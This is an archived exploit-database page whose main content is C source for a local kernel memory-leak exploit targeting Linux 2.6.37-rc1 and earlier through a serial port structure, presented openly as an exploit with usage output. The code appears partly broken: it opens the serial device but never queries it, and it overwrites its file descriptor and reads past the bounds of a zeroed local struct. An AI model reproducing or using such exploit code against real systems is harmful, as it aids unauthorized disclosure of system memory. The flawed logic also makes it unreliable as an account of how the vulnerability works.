exploit the possibilities

Linux 2.6.37-rc1 serial_multiport_struct Local Leak

Linux 2.6.37-rc1 serial_multiport_struct Local Leak
Posted Nov 2, 2011
Authored by Todor Donev

Linux kernel version 2.6.37-rc1 and below serial_multiport_struct local leak exploit.

tags | exploit, kernel, local
systems | linux
MD5 | f5547fcc5f4c02814be65bff0d975a05

Linux 2.6.37-rc1 serial_multiport_struct Local Leak

Change Mirror Download
/* Linux <= 2.6.37-rc1 serial_multiport_struct Local Leak Exploit
*
* ./splitmilk2 leak 134514859
* [\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Local Leak Exploit
* [\m/] by Todor Donev
* [x] Leakfile : leak
* [x] Reservedsize : 134514859
* [+] Leaking.. =)
* ...
*
*
* Greets to prdelka,
* for splitmilk.c release, Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT
leak exploit
*
* Thanks to Tsvetelina Emirska,
* that support, respect and inspire me..
*
* Yes, I know thats lame, but I was so bored and lazy for better.
*
* Author: Todor Donev
* Author email: [todor.donev@gmail]
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <termios.h>
#include <linux/serial.h>

#define DEVICE "/dev/ttyS1"

int main(int argc, char* argv[]) {
int ret = 0;
int i, fd, reservedsize;
char* buf;
struct serial_multiport_struct buffer;
printf("[\\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Local Leak
Exploit\n");
printf("[\\m/] by Todor Donev\n");
fd = open(DEVICE, O_RDONLY);
if (fd <0) {
printf("[-] Error: f0k\n");
exit(-1);
}
if (argc < 2) {
fprintf(stderr, "[!] usg: %s <leakfile> <reservedsize>\n", argv[0]);
exit(-1);
}
if (argc > 2)
if ((reservedsize = atoi(argv[2])) == 0) {
fprintf(stderr, " [-] Sorry: (atoi) invalid outsize\n");
exit(-1);
}
fprintf(stderr, " [x] Leakfile: %s\n", argv[1]);
fprintf(stderr, " [x] Reservedsize: %u\n", reservedsize);
if ((buf = (char *)malloc(reservedsize)) == NULL) {
perror("Sorry: (malloc)");
fprintf(stderr, " [-] Sorry: Try again with other output size\n");
exit(1);
}
memset(&buffer,0,sizeof(
buffer));
printf("[+] Leaking.. =)\n");
if((fd = open(argv[1], O_RDWR | O_CREAT, 0640)) == -1){
printf("[-] Error: f0k =(\n");
exit(-1);
}
for(i=0;i<=reservedsize;i++){
ret += write(fd,&buffer.reserved[i],sizeof(int));
}
close(fd);
printf("\\o/ %d bytez\n",ret);
exit(0);
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    22 Files
  • 20
    Jun 20th
    15 Files
  • 21
    Jun 21st
    15 Files
  • 22
    Jun 22nd
    2 Files
  • 23
    Jun 23rd
    1 Files
  • 24
    Jun 24th
    23 Files
  • 25
    Jun 25th
    19 Files
  • 26
    Jun 26th
    10 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close